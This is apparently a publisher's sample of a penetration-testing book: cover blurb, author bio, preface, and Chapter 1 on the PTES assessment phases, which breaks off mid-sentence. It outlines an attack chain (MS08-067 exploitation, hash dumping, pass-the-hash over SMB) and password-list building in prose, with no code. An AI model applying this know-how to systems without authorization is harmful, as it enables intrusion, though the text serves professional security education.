Fr

Python is a powerful new-age scripting platform that

allows you to build exploits, evaluate services, automate
and link solutions with ease. Python is a multi-paradigm
programming language well-suited to both object-oriented
application development and functional design patterns.
This book highlights how you can evaluate an organization
methodically and realistically. Specific tradecraft and
techniques are covered that show you exactly when and
where industry tools can and should be used.
From start to finish, this book takes you through how to
create Python scripts that meet relative needs and can be
adapted to particular situations. As you progress through
the chapters, the script examples explain new concepts to
enhance your knowledge, culminating with you being able
to build multi-threaded security tools, link security tools
together, automate reports, create custom exploits, and
expand Metasploit modules.

Who this book is written for

Familiarize yourself with the generation of

Metasploit resource files
Use the Metasploit Remote Procedure Call
(MSFRPC) to automate exploit generation
and execution
Use Python's Scrapy, network, socket, office
and Nmap libraries, and custom modules
Parse Microsoft Office spreadsheets and
eXtensible Markup Language (XML) data files
Write buffer overflows and reverse Metasploit
modules to expand capabilities
Exploit Remote File Inclusion (RFI) to gain
administrative access to systems with
Python and other scripting languages
Crack an organization's Internet perimeter
Chain exploits to gain deeper access to an
organization's resources
Interact with web services through Python

$ 49.99 US
31.99 UK

community experience distilled

P U B L I S H I N G

Christopher Duffy

If you are a security professional or researcher, with

knowledge of different operating systems and a conceptual
idea of penetration testing, and you would like to expand
your knowledge of Python, then this book is ideal for you.

What you will learn from this book

Learning Penetration Testing with Python

Learning Penetration
Testing with Python

ee

pl

C o m m u n i t y

E x p e r i e n c e

D i s t i l l e d

Learning Penetration
Testing with Python
Utilize Python scripting to execute effective and efficient
penetration tests

Prices do not include

local sales tax or VAT
where applicable

Visit www.PacktPub.com for books, eBooks,

code, downloads, and PacktLib.

Sa
m

Christopher Duffy

In this package, you will find:

The author biography

A preview chapter from the book, Chapter 1 'Understanding the Penetration
Testing Methodology'
A synopsis of the books content
More information on Learning Penetration Testing with Python

About the Author

Christopher Duffy currently leads cybersecurity and penetration testing

engagements globally. He has a specialization in advanced technical testing,

including penetration testing and security assessment done to evaluate an
organization's security strategy from a malicious actor's perspective. He has worked
a lot with both network and system engineering teams to evaluate critical system
data flows, and identified areas where controls can be put in place to prevent a
breach of sensitive or critical data. His work with multiple organizations has been
key to protecting resources based on the information they have held, which has
helped reduce risks while maintaining resilient and cost-effective security postures.

Chris has over 12 years of experience in the information technology and security
areas, including security consultation, with a focus on business risk. He has helped
build advanced attack and penetration teams. The work that his teams have done
has encompassed everything from threat modeling and penetration tests to firewall
reviews and FedRAMP readiness assessments.
Chris has led, managed, and executed over 400 engagements for Fortune 500
companies, U.S. government entities, medical providers and payers, educational
institutes, financial services, research organizations, and cloud providers. For almost
a decade prior to private sector work, Chris was a cyber warfare specialist, senior
systems engineer, and network infrastructure supervisor for the United States Air
Force (USAF).
He has been honored with numerous technical and leadership awards. Some of
these include the (ISC)2 Information Security Leadership Award (ISLA) for the
information security practitioner category in 2013, the noncommissioned officer of
the year (both at the base and wing levels) in 2011, and the top technician within
the cyber transport career field for the United States Air Force (USAF) Intelligence
Surveillance and Reconnaissance Agency. He is a distinguished graduate of USAF
network warfare training and has publications to his credit in SANS Reading
Room, Hackin9 magazine, eForensics magazine and PenTest magazine. He holds 23
certifications, a degree in computer science, and a master's degree in information
security and assurance.

Preface

Preface
Welcome to Learning Penetration Testing with Python. This book takes a radically
different approach to teaching both penetration testing and scripting with Python,
instead of highlighting how to create scripts that do the same thing as the current
tools in the market, or highlighting specific types of exploits that can be written. We
will explore how to approach an engagement, and see where scripting fits into an
assessment and where the current tools meet the needs. This methodology will teach
you not only how to go from building introductory scripts to multithreaded attack
tools, but also how to assess an organization like a professional regardless of your
experience level.

What this book covers

Chapter 1, Understanding the Penetration Testing Methodology, highlights the specific
tactics, techniques, and procedures that assessors use to evaluate the resistance of
an organization's security strategy. It also covers Simulated malicious actors and the
common tools of the trade.
Chapter 2, The Basics of Python Scripting, helps grow the skills of transition
programmers and new assessors with the Python language, which culminates into
writing useful assessor scripts.
Chapter 3, Identifying Targets with Nmap, Scapy, and Python, builds the foundational
network packet and protocol knowledge, which then translates directly into
writing Python scripts that utilize the Nmap and Scapy libraries to automate target
identification for exploitation.
Chapter 4, Executing Credential Attacks with Python, showcases the most common
ways by which attackers gain initial access to resources not withstanding phishing. It
focuses on industry-leading practices regarding accurately targeting an organization.

Preface

Chapter 5, Exploiting Services with Python, features how exploits are identified to gain
initial access, how post-exploitation techniques are researched to gain privileged
access, and how that access is leveraged to gain access to other systems using
automated scripts.
Chapter 6, Assessing Web Applications with Python, is a climax of techniques that
pivot on the automation of analyzing a web application's weaknesses. This is where
Python can be used to improve assessments of complex applications with chained
techniques.
Chapter 7, Cracking the Perimeter with Python, emphasizes some of the common
techniques that real malicious actors and assessors alike use to gain access to the
semi-trusted and trusted networks of an organization. This is done using tools
and techniques that include Python and hinge on current industry practices.
Chapter 8, Exploit Development with Python, Metasploit and Immunity, underscores
how basic exploits and Metasploit modules are researched, written, and updated by
assessors to capture the risk of using poorly developed, outdated, or unsupported
software on relevant systems.
Chapter 9, Automating Reports and Tasks with Python, stresses assessors' need to save as
much time as possible on assessments, by creating Python scripts that automate the
analysis of security tool results and outputs to include eXtensible Markup Language
(XML), in an effort to provide usable reporting formats.
Chapter 10, Adding Permanency to Python Tools, is the final chapter. It features
the ways in which you can update your scripts to take advantage of advanced
capabilities, such as logging, multithreading, and multiprocessing, to create
industry-standard tools.

Understanding the
Penetration Testing
Methodology
Before jumping in too quick, in this chapter, we will actually define what penetration
testing is and is not, what the Penetration Testing Execution Standard (PTES) is,
and the tools that would be used. This information will be useful as a guideline
for future engagements that you may be part of. This chapter will help guide new
assessors and organizations who want to set up their own engagements. If you want
to jump right into the code and the nitty gritty details, I suggest jumping to Chapter
2, The Basics of Python Scripting. I caution you though that the benefit of reading this
chapter is that it will provide a framework and mindset that will help you to separate
a script kiddie from a professional. So, let's start with what a penetration test is.
Most important, these tools and techniques should only be executed in environments
you own or have permission to run these tools in. Never practice these techniques in
environments in which you are not authorized to do so; remember that penetration
testing without permission is illegal, and you can go to jail for it.

[1]

Understanding the Penetration Testing Methodology

To practice what is listed in the initial chapters, install a virtualization

suite such as VMware Player (http://www.vmware.com/
products/player) or Oracle VirtualBox (http://www.oracle.
com/technetwork/server-storage/virtualbox/downloads/
index.html). Create Virtual Machines (VMs) out of the current
version of Kali Linux (https://www.kali.org/downloads/),
Samurai Web Testing Framework (http://samurai.inguardians.
com/), and Metasploitable (http://www.offensive-security.
com/metasploit-unleashed/Requirements). You can
execute tests against these by using the Metasploitable box from
the Kali system. The last link provided has a number of tutorials
and configuration notes related to these tools; if additional tool are
necessary for each chapter, they will be highlighted there.

An overview of penetration testing

There is a huge misconception about what penetration testing is. This is common
even among professionals who have recently entered the field. New penetration
testers or professionals who request penetration tests often say that these tests
prove the exploitability of vulnerabilities, the susceptibility of an environment to
exploitation, or just the presence of vulnerabilities. This misunderstanding manifests
itself into real impacts on engagements as they are scoped, sourced, and conducted.
Further, this mistaken perception includes the thought that a penetration test will
find all vulnerabilities, it will be able to find unknown zero days every time, and all
objectives will always be met irrespective of the controls put in place.
A penetration test is the practice of assessing an organization's security strategy's
ability to protect critical data from the actions of a malicious actor. A security
strategy is the organization's overarching information security program. It focuses
on maintaining the confidentiality, integrity, and availability of the organization's
critical data and resources. This is to mitigate risk to an acceptable level by using a
combination of people, processes, and technology. The difference between the first
and the second definition of a penetration test is night and day.
The first definition focuses solely on vulnerabilities; this means that people
expect the activity that an assessor will perform to be related to exploiting or
finding vulnerabilities or simple misconfigurations. It does not take into account
bad practices related to the policies, processes, or insecure relationships that the
organization may have. These preconceived notions often have the following
significant impacts for both organizations and new assessors.

[2]

Chapter 1

Organizational leadership will not create goals related to breaching access

controls related to critical data repositories or identifying critical data locations.
There will also be an initial belief that Intrusion Protection Systems (IPS) and
Intrusion Detection Systems (IDS) are the linchpin to preventing a compromise;
all experienced assessors know that this is not true. Additionally, assessments may
not be scoped in a manner that would provide realistic results. The most damaging
result of this misunderstanding is that the organization may not be able to identify
when an assessor is missing the skills necessary to execute the required engagement.
Similarly, new assessors have the misconception that a
Vulnerability Management Solution (VMS) such as Nexpose,
Nessus, Qualys, or others will identify the way into an environment.
These may highlight ways to get into a system, but there is a high
rate of false positives and true negatives. A false positive means
something was identified as vulnerable, but it is not. The opposite of
a false positive is a true negative, which means that something was
identified as secure, but it is instead vulnerable.

If vulnerabilities are not within the database, then the system will not identify the
vulnerability that could grant access. VMS will not highlight the chained attacks
related to bad practices or processes, which would be classified as a weakness or
vulnerability. The use of these tools for penetration tests makes them exceedingly
noisy, and they encourage assessors to simulate attacks that are relatively outdated.
Most malicious actors take advantage of the path of least resistance, which
usually does not relate to Remote Code Exploits such as the famous MS08-067
or MS06-40. Instead, an assessor should step back and look for insecure
associations and configurations that may provide unnoticed access. Most senior
assessors do not use VMS tools during penetration tests, but instead focus on
assessing environments manually.
Many of these misconceptions relate directly to other types of engagements. This
comes from other security assessments being advertised as penetration tests, or from
people either running or receiving the results of these engagements. In the following
section, a sample of assessments that are often confused with penetration tests is
listed. It should be enough to highlight the differences between an actual penetration
test and other security assessments and activities.

[3]

Understanding the Penetration Testing Methodology

Understanding what penetration testing

is not
Other types of assessments and activities are often advertised or confused as
penetration tests. Examples of these types of engagements include vulnerability
assessments, large-scale reverse engineering projects, and hacking. Let's address each
of these in turn so as to understand where penetration testing fits in.

Vulnerability assessments
A Vulnerability Assessment (VA) uses a VMS to scan for vulnerabilities. The
good VAs then use an assessor to eliminate false positives, after which the actual
risk rating of the findings may be adjusted on the basis of the business impact and
the likelihood of exploitation. Often security consultants or penetration testers
execute these assessments, which may require the actual exploitation of these
vulnerabilities for a proof of concept. This type of assessment is great for showing
how good an organization is at performing patching and deploying assets in a secure
configuration. The key here is that these types of assessments do not focus on gaining
access to critical data from the perspective of a malicious actor, but instead relate to
finding vulnerabilities.

Reverse engineering engagements

Reversing can be part of a penetration test, but it is much rarer today than in the
past. Chapter 8, Exploit Development with Python, Metasploit, and Immunity, will discuss
this in greater detail as an actual exploit development will be described here. Current
penetration tests may include exploit development, but it is done to create a proof of
concept related to homegrown code and gaining access to a critical system where the
data may reside.
In contrast, in large-scale reversing engagements, an assessor tries to prove the
overall susceptibility of the application to being reversed and the weaknesses related
to the source code, compilation, and associated libraries. These types of engagements
are better suited to a reversing engineer, who spends time identifying common
attack chains and methods to compromise an application, versus gaining access
to critical data. The level of experience in this specific arena is extensive. Often,
many assessors move from penetration testing to this specific skillset where they
do reversing full time.

[4]

Chapter 1

Hacking
Hacking is not an assessment, but deals directly with taking advantage of exploitable
vulnerabilities; it could be related to malicious activity or it could be done for research.
The purpose of hacking is not to gain access to critical data, but to solely crack
vulnerabilities. There are many definitions of hacking, and it is often directly related
penetration testing, but there are no specific or explicit goals related to hacking. Now
that some of the big differences between a penetration test and the other activities have
been delineated, the methodology related to achieving goals can be highlighted.

Assessment methodologies
There is a variety of assessment methodologies related to penetration testing.
Examples of some methodologies include the Open Source Security Testing
Methodology Manual (OSSTMM), the Open Web Application Security Project
(OWASP) for web assessments, the National Institute of Standards and Technology
(NIST) Special Publication 800-115 Technical Guide to Information Security Testing
and Assessment, and the PTES. The methodology that we will focus on in this book
is the PTES because it is a solid resource for new assessors.

The penetration testing execution

standard
The PTES has seven different phases, namely Pre-engagement Interactions,
Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post
Exploitation, and Reporting. Each engagement will follow these phases to some
extent, but an experienced assessor will move from one phase to the next smoothly
and relatively seamlessly. The biggest benefit of using a methodology is that it allows
assessors to evaluate an environment holistically and consistently. Being consistent
with an assessment means a couple of things:

It is less likely that an assessor will miss large vulnerabilities

It mitigates tunnel vision, which causes assessors to take too much time
concentrating in regions that will not move the engagement forward

This means that irrespective of the customer or the environment, an assessor

will not approach the engagement with preconceived notions

The assessor will provide the same level of competence to an environment

each time

A customer will receive a high-quality product each time with few chances
of an assessor missing details
[5]

Understanding the Penetration Testing Methodology

All methodologies or frameworks provide these benefits, but PTES like the OWASP
has an additional benefit for new assessors. Within PTES, there are a number of
technical guidelines that relate to the different environments that an assessor may
encounter. In these technical guidelines, there are suggestions for how to address
and evaluate an environment with industry standard tools.
A caveat to this is that the technical guidelines are not run books; they will not
provide an assessor the means to step into an engagement and execute it from start
to finish. Only experience and exposure to an environment will provide an assessor
the means to deal with most situations that he/she encounters. It should be noted
that no two environments are identical; there are nuances to each organization,
company, or firm. These differences mean that even a very experienced assessor
will find moments that will stump him/her. When standard exploits do not work,
testers can have tunnel vision; sticking to a methodology will prevent that.
In highly secure environments, assessors will often have to become creative and
chain exploits to achieve the set goals and objectives. One of my old teammates
eloquently defined creative and complex exploits as follows: "They are a sign
of desperation by a penetration tester." This humorous analogy also highlights
when an assessor will grow his/her skills.
How an assessor knows when he/she needs to execute these complex exploits is by
knowing that all the simple stuff has failed; as a real attacker uses the path of least
resistance so should an assessor. When this fails, and only when this fails, should
an assessor start ratcheting up the necessary skill level. You as an assessor are
evaluating an environment's ability to resist the actions of malicious actors.
These protections are bricks in a building, built up over time and result in a secure
posture by forming a defense. Much like American Football, if an organization has
not mastered the fundamental components of a strong defense, there is no way it
can defend against a trick play. So, we as assessors should start from the bottom
and work our way up, itemizing the issues.
This does not mean that if one path is found, an assessor should stop; he/she
should identify critical data locations and prove that these can be compromised.
The assessor should also highlight other paths that a real attacker could take
to reach critical data. Being able to identify multiple paths and methods related
to compromising critical data again requires a methodical approach. The seven
phases are an example of controlling the flow of engagement.

[6]

Chapter 1

Pre-engagement interactions
The first phase of PTES is for all the pre-engagement work, and without a doubt, this
is the most important phase for a smooth and successful engagement. Any shortcuts
taken here or undue haste to complete this phase can have a significant impact on
the rest of the assessment. This phase starts off typically by an organization creating
a request for an assessment. Examples of assessments that may be requested usually
fall into one of the following broad categories:

Web application

Internal network

External network

Physical

Social engineering telephony

Phishing

Voice Over Internet Protocol (VOIP)

Wireless

Mobile application

The organization may contact an assessor directory or provide a Request for

Proposal (RFP), which will detail the type of environment, the assessment required,
and the expectations of what it wants delivered. On the basis of this RFP, multiple
assessment firms or individual Limited Liability Corporations (LLCs) will bid on
the work related to the environment details. The party whose bid best matches the
work requested, price, the associated scope, timeline, and capabilities will usually
win the work.
The Statement of Work (SOW), which details the work that will be performed
and the final products, is usually part of an Engagement Letter (EL) or contract
that contains all the required legal details as well. Once the EL is signed, the fine
tuning of the scope can begin. Typically, these discussions are the first time an
assessment team will encounter the scope creep. This is where the client may try to
add on or extend the promised level of work to get more than it may have promised
to pay for. This is usually not intentional, but in rare occurrences, it is due to a
miscommunication between the writers of the RFP, the returned answers for the
questions that the assessors ask, and the final EL or SOW.

[7]

Understanding the Penetration Testing Methodology

Often, small adjustments or extensions of work may be granted, but larger asks
are pushed off as they may be perceived as working for free. The final scope is
then documented for the portion of the engagement that is going to be executed.
Sometimes, a single EL will cover multiple engagement portions, and more than
one follow-on discussion may be needed. The big thing to remember in this phase is
that as an assessor, you are working with a customer, and we should be helpful and
flexible to aid it in reaching its goals.
In addition to the scope creep, which is created during the initial engagement
scoping, there are often opportunities for the client to increase the scope during the
engagement execution. This often comes with the client asking for work extensions
or additional resource testing after the testing has started. Any modification to the
scope should not only be carefully considered due to resources and timing, it should
also be completed in some documented form, such as e-mail, signed and authorized
letter, or other non-reputable confirmations of the request.
Most importantly, any scope adjustments should be done by the personnel
authorized to make such decisions. These considerations are all part of keeping the
engagement legal and safe. People signing these documents have to understand the
risks related to meeting deadlines, assessing the specific environment, and keeping
the stakeholders satisfied.
The goals of the engagement are defined during this particular phase, along with
approvals that may be necessary by other parties. If a company hosts its environment
on a cloud provider infrastructure or other shared resources, an approval will be
needed from this organization as well. All parties that approve the activity typically
require the start and end dates of the testing, and source Internet Protocol (IP)
addresses, so that they can validate the activity as not truly malicious.
The other items that must be established at the beginning of the assessment are
points of contact for both normal reporting of assessments and emergency situations.
If a resource is thought to have been taken offline by an assessor's activity, the
assessor needs to follow-up with the point of contact, immediately. Additionally, if
a critical vulnerability is found, or if there is a belief that a resource has already been
compromised by a real malicious actor, the assessor should immediately contact the
primary point of contact if possible, and the emergency contact if not.
This contact should come after the assessor has captured the necessary proof of
concepts to show that the resource may have already been compromised or that
there is a critical vulnerability. The reason the capturing of a proof of concept is
completed prior to contact is that the reporting of these issues usually means that
the resource is taken offline. Once it is offline, the assessor may have no ability to
follow-up and prove the statements he/she makes in the final report.

[8]

Chapter 1

A proof of concept is typically a screen capture of a particular

data type, event train, exposure, exploit, or compromise.

In addition to reporting unforeseen and critical events, a regular status meeting

should be scheduled. This can be weekly, daily, or more often or less often,
depending on the client's requests. The status meeting should cover what the
assessor has done, what they plan to do, and any deviations noted for the timeline
that could impact the final report delivery.
Related to product and final report delivery, there has to be a secure method to
deliver the details of the engagement. The balance here comes from the following
factors, the client's capabilities and knowledge level, the solutions available to the
assessment team, how secure the data can be made, and the client's abilities and
requests. Two of the best options are secure delivery servers, or Pretty Good Privacy
(PGP) encryption. Sometimes, these options are not available or one of the parties
cannot implement or use them. At this point, other forms of data protection should
be determined.
A big caveat here is that password protected documents, portable document formats,
and zip files typically do not have strong forms of encryption, but they are better
than nothing. These still require a password to be transmitted back and forth to
open up the data. The password should be transmitted when possible by some other
method, or a different channel than the actual data. For example, if the data is sent
by e-mail, the password should be provided by a phone call, text message, or carrier
pigeon. The actual risks related to this will be highlighted in the later chapters when
we discuss password spray attacks against web interfaces and methods to crack the
perimeter. The last part of the pre-engagement discussion relates to how the test will
be conducted: White Box, Grey Box, or Black Box.

White Box Testing

White Box testing is also known as Clear Box testing or Crystal Box testing. The term
could be any of the three, but what it basically amounts to is an informed attacker
or informed insider. There are multiple arguments about what the appropriate term
is, but at the end of the day, this type of assessment highlights the risk related to
malicious insiders or attackers who have access to significantly exposed information.
The assessor is provided intimate details related to what is on the network, how it
operates, and even potential weaknesses, such as infrastructure design, IP addresses,
and subnets. With extremely short timelines, this type of assessment is very
beneficial. Stepping back from fully exposed information or the curtain being
pulled back completely is the Grey Box format.

[9]

Understanding the Penetration Testing Methodology

Grey Box Testing

Assessments that follow the Grey Box format have the assessor-provided basic
information. This includes targets, areas of acceptable testing, and operating systems
or embedded device brands. Organizations typically also itemize what IDS/IPS is
in place so that if the assessor starts seeing erroneous results, he/she can identify
the cause. Grey Box assessments are the most common type of assessment, where
organizations provide some information to improve the accuracy of the results and
increase the timeliness of the feedback; at the end, it may reduce the cost of the
engagement.

Black Box Testing

The number of Black Box engagements that an assessor will encounter is roughly
the same as that of White Box engagements, and they are the exact opposite side of
the spectrum. Assessors are provided no information other than the organization
that they are going to assess. The assessor identifies resources, which are active from
extensive Open Source Intelligence (OSINT) gathering. Senior assessors should
only execute these types of engagements, as they have to identify regions where the
targets are live on externals and be extra quiet on internals.
Targets are always validated as authorized or owned by the requesting organization,
prior to testing for the external assessment by the organization after initial research.
A Black Box test is often part of a Double Blind test, which is also known as an
assessment that is not only a test of their environment but also the monitoring and
incident response capabilities of the organization.

Double Blind Testing

Double Blind tests are most often part of a Black Box style engagement, but they
can be done with Grey and White Box engagements as well. The key with Grey and
White Box engagements is that the control of the testing period, attack vectors, and
other information is much more difficult to keep a secret from the defensive teams.
Engagements that are considered Double Blind must be well established prior to
executing the engagements, which should include a post-mortem discussion and
verification of what specific activity was detected and what should have been detected.
The results of these types of engagements are very useful in determining how well
the defensive teams' tools are tuned and the potential gaps in the processes. A Double
Blind should only be executed if the organization has a mature security posture.

[ 10 ]

Chapter 1

Intelligence gathering
This is the second phase of PTES and is particularly important if the organization
wants the assessment team to determine its external exposure. This is very common
with the Black or Grey Box engagements related to external perimeter tests. During
this phase of the engagement, an assessor will use registries such as the American
Registry of Internet Numbers (ARIN) or other regional registries, information
repositories query tools such as WhoIs, Shodan, Robtex, social media sites, and
tools like Recon-ng and the Google Hacking Database (GHDB).
In addition to external assessments, the data gathered during this phase is perfect for
building profiles for social engineering and physical engagements. The components
discovered about an organization and its people, would provide an assessor the
means to interact with the employees. This is done in hope that employees will
divulge information or pretext it so that critical data can be extracted. For technical
engagements, research done on job sites, company websites, regional blogs, and
campus maps can help build word lists for dictionary attacks. Specific data sets such
as the local sports teams, player names, street names, and company acronyms are
often very popular as passwords.
Merriam Webster defines "pretext" as an alleged purpose or
motive or an appearance assumed in order to cloak the real
intention or state of affairs.

Tools like Cewl can be used to extract words on these websites, and then, the words
can be manipulated with John the Ripper to permutate the data, with character
substitution. These lists are very useful for dictionary attacks against login interfaces,
or for cracking extracted hashes from the organization.
Permutation is very common with password attacks and
interface password-guessing attacks. Merriam Webster defines
"permutation" as one of the many different ways or forms in
which something exists or can be arranged.

Other details that can be advantageous to an assessor are the technology that the
organization lists in job advertisements, employee LinkedIn profiles, technical
partnerships, and recent news articles. This will provide the assessor intelligence
about the types of assets he/she may encounter and the major upgrades on the
horizon. This allows the work done on site to be better targeted and researched
prior to execution.

[ 11 ]

Understanding the Penetration Testing Methodology

Threat modeling
The third phase of PTES is threat modeling, and for most engagements, this phase
is skipped. Threat modeling is more often part of a separate engagement that is
to itemize potential threats that an organization may face on the basis of a number
of factors. This data is used to help build case studies to identify real threats that
would take advantage of the organization's vulnerabilities to manifest into risks.
Often, the case studies are used to quantify specific penetration tests over a period
of time to determine how resolute the security strategy is and what factors had not
been considered.
The components for research are expanded outside of standard intelligence
gathering to include associated business, business models, third parties, reputation,
and news articles related to insightful topics. In addition to what is found, there are
always particles that an assessor will not be able to determine due to time, exposure,
and documented facts. Threat modeling is largely theoretical, but it is based on the
indicators found and past incidents in the market that the business resides in.
When threat modeling is used as part of a penetration test, the details from the
intelligence gathering phase and the threat modeling phase are rolled back into the
pre-engagement phase. The identified details help build an engagement and reveal
the type of malicious actor that an assessor should be impersonating. Common types
of threats that organizations face are as follows:

Nation states

Organized crime

Hackers

Script kiddies

Hacktivists

Insiders (intentional or unintentional)

Here are a couple of things to always keep in mind when assessing threats, any
one of these types of threats can be an insider. All it takes is a single phishing
e-mail, or one disgruntled employee who broadcasts credentials or accesses,
for an organization to be open to compromise. Other ways that an insider may
unintentionally provide access include technical forums, support teams, and blogs.
Technical and administrative support teams frequent blogs, forums, and other
locations, where they may post configurations or settings in search of help. Anytime
this happens, internal data is exposed to the ether, and often, these configurations
hold encrypted or unencrypted credentials, access controls, or other security features.

[ 12 ]

Chapter 1

So, does this mean that every organization is threatened by insiders, and the range
of experience may not be limited to that of the actual insider? Insiders are also
the hardest threat to mitigate. Most penetration tests do not include credentials to
simulate an insider. In my experience, this is only done by an organization that has
a mature security posture. This state is typically reached only through a variety of
security assessments to include multiple threats simulated through penetration tests.
Most organizations do not support an internal credentialed assessment, unless they
have had a number of uncredentialed engagements, where the findings have been
mitigated. Even then, it is only by organizations that have a strong desire to simulate
realistic threats with a Board-level buy-in. Besides insiders, the rest of the threats can
be evaluated by looking at multiple factors; an example of past incident association
can be found by looking at the Verizon Data Breach Investigation Report (DBIR).
The Verizon DBIR uses reported compromises and aggregates the results to attribute,
by market, the types of incidents that are the most frequently identified. This
information should be taken in context though, as this is only for incidents that were
caught or reported. Often, the caught incident may not have been the manner that
initially led to the follow-on compromise.
Threats to market change every year, so the results of a report created in one
year would not be useful for research the following year. As such, any reader
interested in this information should download a current version from http://www.
verizonenterprise.com/DBIR/. Additionally, make sure to choose which vector
to simulate on the basis of additional research related to exposed information, and
other reports. It would be unprofessional to execute an assessment on the basis of
assumptions from a single form of research.
Most of the time, organizations already know what type of engagement they need
or want. The interaction of this phase and the described research is typically what is
requested from industry experts, and not from new assessors. So, do not be surprised
if stepping into doing this work, you see few requests to do assessments that include
this phase of work, at least initially.

Vulnerability analysis
Up until this phase, most, if not all, of the research done has not touched an
organizational resource; instead, the details have been extracted from other
repositories. In the fourth phase of PTES, the assessor is about to identify viable
targets for further research Testing. This deals directly with port scans, banner
grabs, exposed services, system and service responses, and version identification.
These items though seemingly minute, are the fulcrum for gaining access to an
organization.
[ 13 ]

Understanding the Penetration Testing Methodology

The secret to becoming a great assessor from a technical perspective lies in this
phase. The reason for this is that the majority of an assessor's time is spent here,
particularly early in one's career. Assessors research what is exposed, what
vulnerabilities are viable, and what methods can be used to exploit these systems.
Assessors who spend years doing this are the ones you will often see speeding
through this phase because they have the experience to find methods to target
attacks and gain access. Do not be fooled by this, as for one, they have spent many
years cataloging this data through experience and two, there are always occasions
where even a great assessor will spend hours in this phase because an organization
may have a unique or hardened posture.
The great secret of penetration testing, which is usually not relayed in movies,
magazines, and/or books, is that penetration testing is primarily research, grinding,
and report writing. If I had to gauge the average percentage of time that a good new
assessor spends during an engagement, 70 percent would be on research or grinding
to find applicable targets or a viable vulnerability, 15 percent on communication with
the client, 10 percent on report writing, and 5 percent on exploitation. As mentioned
though, these percentages shift as assessors gain more experience.
Most assessors who fail or have a bad engagement are caused by pushing through
the phases, and not executing competent research. The benefit of spending the
required time here is that the next phase related to exploitation will flow very
quickly. One thing that assessors and malicious actors both know is that once
a foothold in the organization has been grabbed, it is basically over. Chapter 3,
Identifying Targets with Nmap, Scapy, and Python, covers activities completed in
this phase at length.

Exploitation
Phase five is the exploitation phase, and this is where the fun really begins. Most of the
chapters focus on the previous phase's vulnerability analysis, or this phase. This phase
is where all the previous work has led to actually gaining access to a system. Common
terms for gaining system access are popped, shelled, cracked, or exploited. When you
hear or read these terms, you know that you should be gaining access to a system.
Exploitation does not just mean access to a system via a piece of code, remote exploit,
creation of an exploit, or bypassing antivirus. It could be as simple as logging into
a system directly with default or weak credentials. Though many newer assessors
look at this as less desirable, experienced assessors try and find ways to access
hosts through native protocols and accesses. This is because native access is less
likely to be detected and it is closer to the real activity that a malicious actor may
be performing.

[ 14 ]

Chapter 1

If you are new to penetration testing, there are some specific times during
exploitation where you will be very excited, and these are often looked at as goals:

The first time you gain a shell

The first time you exploit each of the OWASP top 10 vulnerabilities

The first time you write your own exploit

The first time you find a zero day

These so-called goals are typically measuring sticks for experience among assessors,
and even within organizational teams. After you have achieved these first-time
exploit goals, you will be looking to expand your skills to even higher levels.
Once you have gained access to a system, you need to do something with that
access. When looking at the difference between seasoned professionals and the new
assessors in the field, the delineation is not exploitation, but post exploitation. The
reason for this is that initial access does not get you to the data, but the follow-on,
the pivot, and the post exploitation typically does.
A pivot is the method of taking advantage of a new position
during an assessment to assess resources that are normally
not accessible. Most people equate pivoting to setting up a
route in Metasploit, but it also relates to attacking or assessing
resources from a different compromised device.

Post exploitation
Out of all phases, this is where you see a shift in the time spent by assessors. New
assessors usually spend more time in phase four or the vulnerability analysis phase,
while seasoned assessors spend an enormous amount of time here. Phase six is
also known as the post exploitation phase; the escalation of privileges, hunting for
credentials, extraction of data, and pivoting are all done here.
This is where an assessor has the opportunity to prove risk to an organization by
proving the level of access achieved, the amount and type of critical data accessed, and
the security controls bypassed. All of this is typified in the post exploitation phase.
Just like phase five, phase six has specific events that are typically goals for newer
assessors. Just like exploitation goals, once these post exploitation goals have been
completed, you will be shooting for even more complex achievements in this security
specialization.

[ 15 ]

Understanding the Penetration Testing Methodology

The following are examples of these measuring sticks between new assessors and
competent assessors:

The first time you manually elevate your privileges on Windows, Linux,
Unix, or Mac Operating System

The first time you gain Domain Administrator access

The first time you modify or generate a Metasploit module

The post exploitation phase includes activities related to escalating privileges,

extracting data, profiling, creating persistence, parsing user data and configurations,
and clean-up. All activities performed after a system has been accessed and
transitions to system examination relate to post exploitation. Once an engagement
is over, all the access levels achieved, the critical data accessed, and the security
controls bypassed are highlighted in a single document, the report.

Reporting
The most important phase related to penetration testing not just with PTES is
reporting. At the end of the day, your client is requesting and paying for a report.
The only thing he/she can hold in his/her hands at the end of the engagement is
the report. The report is also what translates the risks that the assessor identified in
the environment.
A good report has an executive summary, which targets personnel who are part
of the Chief suite and or the Advisory Board. It should also contain a storyline
to explain what was done during the engagement, the actual security findings or
weaknesses, and the positive controls that the organization has established. Each
noted security finding should include a proof of concept when possible.
A proof of concept is just that; you are proving the existence of an exception to
a secure state through exploitation. So, each identified finding should include a
screen capture related to the activity conducted, such as weak passwords, exploited
systems, and critical data accessed.
Just like the security findings identified in the organization, any positive findings
need to be noted and described. The positive findings help to tell an organization
what has actually impacted a simulated malicious actor. It also tells an organization
where it should keep its investments, as the report and the engagement provide
tangible proof that it is working.

[ 16 ]

Chapter 1

An example engagement
The following section highlights how an assessor achieves access, elevates privileges,
and potentially gains access to critical data at a high level. This example should
provide the context for the tools covered in the rest of this chapter and the following
chapters. It should be noted that phases four, five, and six or the vulnerability
analysis, exploitation, and post exploitation phases, respectively, of PTES are
repetitive. Each one of these phases will be executed throughout an assessment. To
better highlight this, the following scenario is a very common exploit train conducted
by newer assessors today, which shows what tools are used. This is not to show how
to complete the commands to complete this on your own, but to highlight the phase
flow, and the tools used for each phase can be nebulous.
As an assessment is conducted, an assessor will identify vulnerabilities, exploit
them as needed, and then escalate privileges and extract data after exploitation or
post exploitation. Sometimes, a single action may be considered a combination of
vulnerability analysis and exploitation, or exploitation and post exploitation phase
activities. As an example of repetitive steps, after an assessor identifies a Windows
XP host and determines whether it has the vulnerability MS08-067, the assessor
exploits it with the associated Metasploit module called ms08_067. The assessor will
escalate privileges and then extract hashes from the exploited system by using the
smart_hashdump module. The assessor will then copy the local administrator hash
from the extracted hashes, which is correlated to the Security Identifier (SID) of 500
stored in the pwdump hash format.
The assessor will scan all the hosts in the area and determine whether the hosts have
port 445 open by using the nmap tool. These may be viable targets for a Pass-theHash (PtH) attack, but the assessor has to determine whether these hosts have the
same local administrator password. So, the assessor creates a list of IP addresses
with the open port 445 Server Message Block (SMB) over IP, by parsing the output
with the Unix/Linux tools cat, grep, and cut. With this list, the assessor executes an
